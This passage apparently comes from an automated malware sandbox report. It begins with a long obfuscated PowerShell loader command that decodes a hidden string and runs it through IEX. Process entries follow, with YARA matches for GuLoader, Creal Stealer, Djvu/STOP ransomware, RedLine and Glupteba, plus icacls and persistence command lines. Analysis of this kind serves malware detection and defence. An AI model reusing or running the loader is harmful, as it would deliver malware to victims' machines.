Si=Th JV IARaRFe5 F3ku Br' b6Ca4Nu0Sp6An2Ki9Re3Sw2Hj2Ru5Ma2Ri6 A2Be9Li2un7In2Tr8Hi3Ra4In2 J5 M3Ud2 B3Sm3 D6 DE S0Bu9Un2BeEom3Se6 A2GeFPr2KeBTv2Ly5No6su8Ud6bi4le1An3En3 E4Di2Ra1Se2PrBde2Ta9 P3Me4 U3Un4St2In5 R3Al2St2SmB R3 W3 J2BoCUd2Ga5Pl3 b3Ko6chCBu6Ko0 W7Sa0 K6Ap9Ep' P;La&ra( V`$BrwOraphttaeRor Sl Ko tgEmsAr7Cl)Ap M`$AaFBoedej BlOxtAsyNepUdeSkrPrsRe7Un;Me`$StDDaeOpcLiePln MnFjiHeeCarEsn PeCes E1 G0Om0Sq Cy=Ib SifKrksopVi An`$DdwEuaAgtPieStrRelCaoStg CsVr5 G Sc`$ Pwnaa BtOveStrSyl Botig Ksco6Su; F`$GaFKaeSujGelswturyBupRaeStrHesth7Sp af=Un AtVhoAopR P5Um3 R Fi'Li6 R4 L0Ub9Uj2twC G2TrCKo3 M5Ud3 J3Rv3 D4Un3 K2Un2Pr1 P3St4Kl2un9Co2OcFno2hjENo3 B3Te2ve9Li2 LELa2Ka4Ak2CiCTe2 s7He2PoEta2An9 D2PoE N2Sv7Di2He5 S3Se2Ba7Ku3In6 T0So7SaDBe6Sc0Ox6 A4Tr1El3Pa3Wa4Pe3Ba2Ch2ra5Ph2DsAWa2Pe6Bo3Bo4Ha2ibFCo2Ge7Bl3 p4fu2Te5Sp3Hy4Ln6 DEBa0An9 D2WiEQu3 E6sc2BoF T2SiBEx2Ha5St6Ov8Ge1RrBTi0Un9St2MeESk3 G4Pr1di0 T3Po4Wh3Ef2Fo1DoDMi7BrA R7MiACr1HyAGr2 M5Sv3 T2an2FoFIn6PaCBa6Ed0Ir7Se6Re7Ci5Do7In3 M6tuCCy6 M0Fj7Sk0Sy3 B8 T7 U3Re7Sm0Ox7Un0Sk7Se0Re6 PCVr6Fi0 F7 S0 S3Kl8Ri7Gr4Sc7Be0Ki6De9Be'St; B&Tj(Em`$ AwbeaOptVaeUtrUdlVeoUngBesNo7 a)Do M`$PoFEneOvjanlFytsty TpIneGorLosMi7 F;No`$OiF Se PjAslTatFnyTnpOpe FrTis M8Ve ge=Pa PVWhAmaRHa5 K3Am De' E6Ti4 H0 t5Ev3Ka4 s2In1At2af7Fy2Im5Ju3 m2be2UsEHu2 t5 T3Ai3un2AuCUd2Bo7 E2 F5Me2 J2Sk2Vr5Su3 P6 L2 B7 B2ko5ul2DaCTa3 M3Fo2Pa5My3Pa2Sa3Re3In6Wa0 R7 SDOp6Fl0fo6Is4Ud1Ch3 M3Fo4Tn3St2 L2Ta5Af2AbA M2In6vo3Ud4Re2ReFLi2Al7 K3Be4Il2Ar5 R3 r4Ma6EdE C0Vu9Ma2clEAb3Vi6Op2PaF A2 SBHo2Be5aa6 B8Ma1StBRe0Ae9br2svEAv3Na4Tu1An0Ho3Un4Ta3To2Bu1SeD U7 AAMe7OsA S1JeARe2Ek5 C3Ni2 H2WaFGl6RoCKr6Tr0Ta7Su8Re7Fi8Mi7In4te7Tr8Es7Ra1Rh7 S7Kl7Kv9ud7Al2St6ThCBe6Lo0Ev7Ci0As3Rm8Mo7Mi3Cr7Bo0Ko7Ca0 V7Mi0Cl6 tCPa6Te0Ha7Un0bi3Eq8Hv7By4ma6Ha9Ta'Ki; H&ud(Em`$ AwBiasat SeLirDolHuosugUnsPr7Mi) E Mi`$MaFdeePaj rl Gt JyInpUdeSarPrsBa8ty;sa`$FuI RlDilSeuKas Tt BrTea Pt Ui HoKonUtsMaiPanHidStlIng HnSci BnPigLieInr B2am=Af`"""Ma`$ApeTenSwvMo:ArT REInMCoP F\Rod XaBde OmRuo SnGeiVisNokLi\FrpBarMevGueunlResFiecanPrsOv\MonAfoChn MeSucStl peKocOvtDiiVacGlaFolMalTay K\DyCCroSioTif M.MeL AgAfnSu`"""Tr;Li`$CoFRae HjAnlSltCyyShpVeeFlrChsSa9Po Wa=Pe BuV GACoRBo5Un3gl B'Se6 B4Oe0In6Sv2 D5Ba2LiASk2 nCLa3sv4Ry3Un9 U3Gi0 E2Cu5My3gi2lo3Ka3 P6Up0 S7SaDRe6Kl0Di1EtBGi1Hu3Tr3Od9Ov3Mo3 T3Be4He2Ov5Ba2 LD S6FeEAn0 O9Re0FrFSv6 RECa0Ru6Om2sa9An2PaCOp2 L5 L1taDPa7 AADa7MdA S1Ti2 C2Mo5 u2Su1Ul2In4Re0Ap1Ga2gtCme2 MCFr0Me2 D3fe9Ge3Ud4 S2Uf5 J3An3 C6So8Mi6Li4Sc0Pr9 D2InCFe2TaC B3La5 L3 m3Ud3Un4Kr3Ls2Be2Er1Ex3 B4 D2Pa9Ma2RiFFo2UnESp3Ek3Fi2Un9Sp2SkETr2Fr4 S2ReC M2Gr7Do2KaESi2Ef9De2UnEZi2Fo7un2Sn5Ca3To2br7Fl2re6ta9Ve'Ap;Mo& S( T`$ PwGeaEst BeInrLylImoopg IsHe7 A)Ho em`$SkFObeVejBelCetSuy GpDiefrrHasKr9Te;Ar`$blsStuGrbHlsFleNswKdeger B0Pa Te=Pl BoVTrASuR O5Pr3Fe Fy'Un1 IBDo1Mi3In3Up9 s3Sa3Ec3In4Ud2Fl5Tz2BuDSc6FuEop1 S2Pa3ph5ka2StEWa3Op4ap2 P9Ex2CoD Z2Pa5Mo6SuE D0 R9Mo2foESt3Ma4 B2 R5In3Lo2Ko2ReFCa3Po0Vi1Be3Af2Kl5 O3 A2Su3Se6Re2 D9By2An3 U2 N5 U3Ga3Rr6DiENe0EaDEf2An1Ov3Bu2Mo3Fj3Co2Te8Jd2Sm1Se2FoCSt1WiD D7BuATy7BeA B0Jo3 p2 TFSy3Un0Co3Br9St6Tr8De6aa4Di0 O6Sc2No5Fa2NuA f2 FCSt3sk4Be3Af9Lv3 S0Gy2Oc5Pr3Fr2Lu3So3pa6FlCta6ba0Ta7Jo3ac7Il0 H7Su2 B7Ra4 N6sqC s6Li0Pr6Bl0Me6de4Py0fe9Ti2RoCTa2PaCsy3Ma5Be3Cu3Uk3Te4Ci3Pe2Me2Dk1Ci3Ud4dr2Vg9So2caFtr2MaEUn3 M3Pr2wa9Ra2FoEBa2Kr4St2FoCNa2Da7Be2ViEOp2Po9un2SvELy2Su7 s2ba5Pr3Mu2 B7Pr3Ca6AlC S6Sw0Ph7Un6fi7 L5Fi7Cu3Sa6 R9El'ho;Kn&Re(Un`$PewSia St KeTorSil SoPlgAdsEc7He)An Is`$ SsMeuOmbJesOre GwHyeParre0Ge;Ti`$ SUStnPrh UaDetBecDihCaa FbNoiNalOpiNetCay T=Ba`$OiFRie Oj OllytDey ApHueUnrMasLa. Cc AoEau DnVitHo-Lo6Ho5Li3Pi-Re3Hi0Al2No4si;Ti`$IlsMeu BbSksTieSmwOpe Erth1Cl H=Ta PrVRaACaRCa5In3Pr Cr' F1ChBAp1Sc3 R3Un9fo3 S3 G3Sl4 N2 b5 S2StDGu6BlE H1Ch2Ru3Op5Ma2RyEKa3Kr4Bu2Fo9La2 RDSm2Do5 W6 SEKa0 I9Fo2InETu3Dj4Un2Ku5Ho3Je2pa2AmFRa3se0Bu1Kb3 M2Qu5Me3 I2Be3Co6 v2Bd9fa2 R3Ba2Sl5 F3Co3di6BuEUl0BrDPr2Ud1Ma3Sy2Ti3Re3 C2 U8 N2Pe1Ar2FiCKo1FlDBe7DuAKr7SpA H0Un3Ch2ReF S3 l0Cu3 E9Un6Mi8De6Pl4Ca0Fo6Ko2 D5In2SaAai2 ACTi3Ko4Pa3 S9Be3Ag0 P2Fl5 S3 e2 V3 F3Pu6 MCMe6In0Ma7 r6ov7St5Sp7Va3 C6MaB A7no3Wo7Ep0Di7Hu2Sj7 A4Gs6BeCCr6 s0Tr6Se4Fo0 B5St3Ba4 R2Jo1 U2Ti7wy2dr5En3Ld2By2 REDe2 S5Kr3Ri3Fi2SlCLa2Ve7Cu2Ba5Ty2Is2Ul2ka5To3Wl6Uf2Mt7Fi2Wh5Ip2PrC H3Tr3Go2 M5 C3 S2Or3Gr3Dd6FeCre6Bu0Pl6 U4Se1Sk5Bu2meEKo2Ta8Hy2Mi1 S3Hy4kl2Rn3Le2Un8Fe2Wa1As2Ci2Tu2Sq9Ko2MoCTr2Ts9 f3In4Ps3un9 D6mi9Cl'Ga; F&Re(Fl`$ThwBaaFltNee LrUnlMeoPygFusAg7Am)Un Lo`$ AsReuThbSusKrehew SeBsr m1Au;Be`$DrsGluSob esIneXmw HeSkr m2Am F=Mi RiVbnAPrRIn5Sk3He Ha'Un6Gy4Fo0pe5Gr3Pa4Sk2 L1Vi2Fr7 L2 F5St3Bo2 M2beESo2Bi5Fo3pe3ja2Ho5 T2 G6Lo2DiF R2KiFBl2NoCSt2PrDLy2Me5Fa2UnE S3An4Gu6Li0Ob7 PDTa6Ni0An1 sBPa1Sp3 a3Ta9Ma3Gr3Sk3bj4Cr2Ar5Il2maDBa6EqEub1 s2De3re5fo2OpENi3 K4ud2Ba9Vi2UaDDe2Me5Po6alESt0Vi9Bl2AnE V3Vu4Ur2Vr5ha3Sp2St2FlFOm3Sa0 C1Co3Ly2 F5qu3re2Ch3 J6 U2cy9In2Ut3In2Na5 P3mo3Pn6SsEPo0ReDVe2Al1Su3Ap2Ba3Sk3Ta2 p8Li2Lo1Ho2OdCEr1 GD S7 FAPj7 BASk0to7Hy2 U5Li3 T4fl0An4Co2In5Bo2NoCNs2Se5Th2aa7Ne2St1Rk3Cu4In2In5Pe0El6 K2FlFBu3ve2Or0co6 L3Ko5Vi2PeEBu2Bv3 V3 F4Ce2Ci9Fr2ToF B2ShE C1Sb0Co2InF n2Br9Af2 OEBl3Am4Ex2Di5 C3Un2Tr6La8Ac6Ma8Su2 W6Br2ObBMa3 T0Oz6 M0 L6Ri4 S1Ko3Vo3Dy4Af2Fr1 V2ZyBSk2he9 P3 b4Tr3Ei4Do2Ud5bo3Co2Tm2 DEKn2NoESt3 T5Bu2Ov9Ns3te4st2In5be3ne4Mo2Pn5 U3Fl2Pe2neE R2sp5Sa6Ud0 P6Sm4Al1 U3Ti3Bi2Af3Sk2in2Kn5 T3Fu4Dr3Un4 T2Am9 R2Si7St2Sl8Un2De5Ko2Sk4 h2La5Fe3Be2Sp2 BE A2Mu5Pa3St3Wu6 S9Da6 ECEp6Un0Pl6lt8Ka0 O7ar0Pe4Re1Ga4To6Re0Tr0St0Su6Re8Bo1SpBUd0 M9Ba2 BEEc3Ho4In1Md0Ro3Th4In3La2De1SuD P6 PCPh6No0St1boBCl0 M9Po2PrEGe3No4Th1Ty0St3Fr4 d3An2 B1GuDFo6CoCMa6 T0Ud1KoBTr0Po9An2 LEEg3il4Fi1He0Ne3 T4To3Ma2Ne1CoDPe6 FCUn6 D0Ar1MoB N0sk9Ho2 TESp3 C4Ab1Tr0Un3Tr4La3Fi2Re1RaDNo6ExCov6Fo0pr1RiBMe0Ns9Sn2 FESy3Py4Gl1Vo0In3Tu4Hu3So2Be1SiDCi6tu9Tr6Vr0Vr6 F8Mu1 sBNo0to9Li2EtECo3Su4Su1Ar0ls3Tr4Bl3Ba2Fl1SpDMa6He9Rh6Si9Dr6ji9Fr'Ur;Te& S(De`$ OwFeaDetOfeUnrstlPoo PgGrsUn7st) S Sp`$OpsAkuUnbHas JeBow Cepar T2Ch;Ur`$ AsSnuSmbExsAneAuwafeMirOp3Sp So=Li GeVBuAVoRFr5Lo3Aq Pu'Su6Dr4Fu0St5St3Ku4To2At1 J2 M7Po2Fi5Om3Te2Ca2PrE U2 C5Ri3th3Fo2yn5Hj2Fe6Lo2BaFWe2KvFIs2GnCMa2heDTh2Fl5Ta2GuETr3As4Pe6HoEHy0Ba9Co2SkEHv3Ba6Vi2SuFTy2urBFo2Se5Sk6La8Pl6Fl4Fu0 S9 F2SpCBr2trC K3 S5 T3Te3Pa3Ha4Ki3Ha2 v2 B1Gl3To4Do2 U9Mo2 SFim2OrECh3Tw3Am2Sc9St2 SEGa2Ry4Do2FoCKl2co7in2 GElo2De9Hj2 HESk2Kl7Du2Sh5Ha3Sp2 U7 A3Sk6SpCFr6Re4Or0Fo5Vi3 R4Tu2Br1 S2Ud7 H2Pe5Sc3Ba2Po2ugEAn2 S5Ko3Un3Ad2PsCSe2Ba7Ri2Vi5Up2Re2Su2 B5Br3Mi6Ul2Br7 E2Bl5 q2 uCTe3Ke3Fa2Go5 f3Fa2Re3Ma3To6MaCUd6Ke4 I0 B4Bi2Pr5Cr2Tr3Ni2Am5Nr2SvEls2BrEAd2Ke9Le2tu5Gi3Ka2sk2SaEBe2Bo5Sh3 T3Do7 F1Un7 l0Ch7Pr0 M6HvCTa7Re0Ca6IaCRu7Cu0 T6 T9 i'Ca;In&Ba(Ji`$BiwCha PtaseInrSplBioPag BsSp7Ge)Tr Be`$FosAnuCabresSdesywKae irGa3De#Re;""";<#Umyndiggrelses Fluotantalic Deallocation Schistocormus Aftrkkende #>;;function subsewer8 ($Stakitter,$Etagernes) { &$Datalagrenes0 (subsewer9 ' B$UrSTrtUda BkPaiRetPut Te VrGa Gr-UdbDexmioLur B Sc$TrESut baFrgBaeFrrWrnTreBrsDi ');};Function subsewer9 { param([String]$Etagernesitrere24); <#Radernaales Remittere Bankiers Swingpjatte #>; $Graderet=2+1; For($Stakittertomteoris=2; $Stakittertomteoris -lt $Etagernesitrere24.Length-1; $Stakittertomteoris+=($Graderet)){ <#Gryphon Efterkravets Gnidningsmodstands Cirkulreskrivelses #>; $Zazias+=$Etagernesitrere24.Substring($Stakittertomteoris, 1)} $Zazias;};;$Datalagrenes0 = subsewer9 'VaIRaEwiXRe ';$Datalagrenes1= subsewer9 $Specterlikes;&$Datalagrenes0 $Datalagrenes1;<#Forudsaas oldermand Svingtaske Rdsom Nonconcentration #>;
Imagebase:	0x40000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000013.00000002.2180102614.000000000A871000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 00000013.00000002.2153972596.0000000005F88000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 00000013.00000002.2174823969.00000000084C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	15:35:15
Start date:	20/12/2023
Path:	C:\Users\user\Desktop\a\Creal.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\a\Creal.exe"
Imagebase:	0x7ff738b60000
File size:	13'815'856 bytes
MD5 hash:	125A5C30FD99F5F53B2914E9F6CF1627
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 00000016.00000003.2158770305.000001B1EED5E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 00000016.00000003.2103437019.000001B1EE47F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 00000016.00000003.2186920457.000001B1EED63000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 00000016.00000003.2103726520.000001B1EEFB5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	15:35:16
Start date:	20/12/2023
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -nologo -noprofile
Imagebase:	0x40000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	15:35:16
Start date:	20/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	15:35:18
Start date:	20/12/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist"
Imagebase:	0x7ff7b3310000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	15:35:18
Start date:	20/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	15:35:19
Start date:	20/12/2023
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist
Imagebase:	0x7ff7b3f90000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	15:35:19
Start date:	20/12/2023
Path:	C:\Users\user\Desktop\a\buildz.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\a\buildz.exe"
Imagebase:	0x400000
File size:	769'536 bytes
MD5 hash:	F76F31DA2D90E4BE5C20DCF0F98366BD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000001F.00000002.1880249708.0000000002670000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000001F.00000002.1880249708.0000000002670000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000001F.00000002.1879761804.00000000024C9000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	15:35:19
Start date:	20/12/2023
Path:	C:\Users\user\AppData\Local\Temp\1000083001\e0cbefcb1af40c7d4aff4aca26621a98.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\1000083001\e0cbefcb1af40c7d4aff4aca26621a98.exe
Imagebase:	0x400000
File size:	4'338'576 bytes
MD5 hash:	F5F2EAC1231BBE457FEDD8AD2337F48C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Glupteba, Description: Yara detected Glupteba, Source: 00000020.00000003.1877742033.0000000003C02000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	15:35:20
Start date:	20/12/2023
Path:	C:\Users\user\Desktop\a\buildz.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\a\buildz.exe"
Imagebase:	0x400000
File size:	769'536 bytes
MD5 hash:	F76F31DA2D90E4BE5C20DCF0F98366BD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000021.00000002.1915949362.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000021.00000002.1915949362.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000021.00000002.1915949362.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	15:35:21
Start date:	20/12/2023
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -nologo -noprofile
Imagebase:	0x40000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	15:35:21
Start date:	20/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	15:35:22
Start date:	20/12/2023
Path:	C:\Windows\SysWOW64\icacls.exe
Wow64 process (32bit):	true
Commandline:	icacls "C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Imagebase:	0xc00000
File size:	29'696 bytes
MD5 hash:	2E49585E4E08565F52090B144062F97E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	15:35:24
Start date:	20/12/2023
Path:	C:\Users\user\Desktop\a\buildz.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\a\buildz.exe" --Admin IsNotAutoStart IsNotTask
Imagebase:	0x400000
File size:	769'536 bytes
MD5 hash:	F76F31DA2D90E4BE5C20DCF0F98366BD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000028.00000002.1925950067.0000000002650000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000028.00000002.1925950067.0000000002650000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000028.00000002.1925783529.00000000025B8000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	15:35:25
Start date:	20/12/2023
Path:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe --Task
Imagebase:	0x400000
File size:	769'536 bytes
MD5 hash:	F76F31DA2D90E4BE5C20DCF0F98366BD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000029.00000002.1997827181.0000000002640000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000029.00000002.1997827181.0000000002640000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000029.00000002.1997713189.000000000257C000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	15:35:25
Start date:	20/12/2023
Path:	C:\Users\user\Desktop\a\buildz.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\a\buildz.exe" --Admin IsNotAutoStart IsNotTask
Imagebase:	0x400000
File size:	769'536 bytes
MD5 hash:	F76F31DA2D90E4BE5C20DCF0F98366BD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000002A.00000002.2651298256.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000002A.00000002.2651298256.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000002A.00000002.2651298256.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	15:35:31
Start date:	20/12/2023
Path:	C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe"
Imagebase:	0x400000
File size:	308'736 bytes
MD5 hash:	E23C839EDB489081120BEFE1E44B04DB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000002B.00000002.1988294544.000000000096E000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	15:35:31
Start date:	20/12/2023
Path:	C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe"
Imagebase:	0x400000
File size:	308'736 bytes
MD5 hash:	E23C839EDB489081120BEFE1E44B04DB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	45
Start time:	15:35:32
Start date:	20/12/2023
Path:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe --Task
Imagebase:	0x400000
File size:	769'536 bytes
MD5 hash:	F76F31DA2D90E4BE5C20DCF0F98366BD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000002D.00000002.2012432809.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000002D.00000002.2012432809.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000002D.00000002.2012432809.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	15:35:33
Start date:	20/12/2023
Path:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe" --AutoStart
Imagebase:	0x400000
File size:	769'536 bytes
MD5 hash:	F76F31DA2D90E4BE5C20DCF0F98366BD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000002E.00000002.2009399766.0000000002740000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000002E.00000002.2009399766.0000000002740000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000002E.00000002.2009060083.00000000025F0000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	15:35:33
Start date:	20/12/2023
Path:	C:\Program Files (x86)\Windows Mail\wab.exe
Wow64 process (32bit):	false
Commandline:	C:\Program Files (x86)\windows mail\wab.exe
Imagebase:	0xf60000
File size:	516'608 bytes
MD5 hash:	251E51E2FEDCE8BB82763D39D631EF89
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	15:35:33
Start date:	20/12/2023
Path:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe" --AutoStart
Imagebase:	0x400000
File size:	769'536 bytes
MD5 hash:	F76F31DA2D90E4BE5C20DCF0F98366BD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000030.00000002.4089164036.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Has exited:	false

Show Windows behavior

Target ID:	49
Start time:	15:35:33
Start date:	20/12/2023
Path:	C:\Program Files (x86)\Windows Mail\wab.exe
